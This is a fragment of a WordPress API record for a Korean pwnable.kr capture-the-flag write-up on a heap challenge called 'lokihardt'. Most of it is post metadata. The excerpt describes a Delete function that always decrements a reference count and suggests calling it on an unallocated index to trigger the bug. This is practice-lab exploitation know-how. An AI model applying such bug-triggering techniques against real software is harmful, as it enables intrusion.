\uc8fc\uc18c\uac00 \uc788\ub294\uc9c0 \ud310\ub2e8\ud558\uc9c0 \uc54a\ub294\ub2e4. \uadf8\ub798\uc11c Delete\ub97c \ud638\ucd9c\ud558\uba74 \ud56d\uc0c1 refCount\ub97c \uac10\uc18c\uc2dc\ud0a8\ub2e4. \ucc98\uc74c\uc5d0 \uc778\ub371\uc2a40\uc5d0\ub2e4\uac00 \ud560\ub2f9\ud55c \ub2e4\uc74c, \ud560\ub2f9\ub418\uc9c0 \uc54a\uc740 \uc778\ub371\uc2a41\uc744 \ub300\uc0c1\uc73c\ub85c Delete()\ub97c \ud574\ubcf4\uc790. \ucc98\uc74c \uc778\ub371\uc2a40\uc5d0 \ud560\ub2f9\ud558\ub824\uace0&hellip;&nbsp;<a href=\"https:\/\/h4ck.kr\/?p=4173\" rel=\"bookmark\">\ub354 \ubcf4\uae30 &raquo;<span class=\"screen-reader-text\">[pwnable.kr] lokihardt<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[35,25],"class_list":["post-4173","post","type-post","status-publish","format-standard","hentry","category-pwnable-kr","tag-heap","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4173","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4173"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4173\/revisions"}],"predecessor-version":[{"id":4178,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4173\/revisions\/4178"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4173"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4173"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4173"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}